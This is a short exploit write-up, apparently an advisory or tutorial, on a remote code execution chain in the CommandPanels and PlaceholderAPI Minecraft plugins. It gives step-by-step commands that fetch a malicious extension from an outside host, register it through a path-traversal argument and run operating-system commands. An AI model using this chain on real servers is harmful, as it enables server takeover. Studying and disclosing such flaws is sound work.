Command Panels is a powerful Minecraft plugin that allows you to
easily create custom GUIs using simple YAML files. The problem lies in
the fact that this plugin allows you to download extensions from any
link. When combined with other plugins, attackers can perform remote
code execution (RCE).
How the exploit works
The exploit is based on using the /cpi command to download a malicious
expansion that attackers can combine with plugins such as
PlaceholderAPI or Plugman to compromise the server.
How to use the exploit with PlaceholderAPI
To perform this exploit, the CommandPanels /cpi command
must be enabled, then enter the following:
01
Download the malicious extension or plugin
In this example, a malicious test extension created by me is attached.
$
/cpi rce https://mcptoolexpansionjar.mcptool.net
02
Register expansion placeholder
This allows us to use the malicious extension via PlaceholderAPI
$
/papi register ../../CommandPanels/panels/rce.yml
03
Run a command on the server operating system
Commands can now be executed remotely by calling the expansion's position placeholder. You must place the command separated by _ instead of spaces, in this example I use a command to open the notepad of my PC where the server is hosted.
$
/papi parse me %rce_notepad.exe%
Vulnerable versions
Vulnerable versions of the CommandPanels plugin: 3.19.0.3 and below.
Vulnerable versions of the PlaceholderAPI plugin: 2.11.3 and below.
Try it yourself
You can download a server with everything you need to test the exploit
locally on your PC from this link.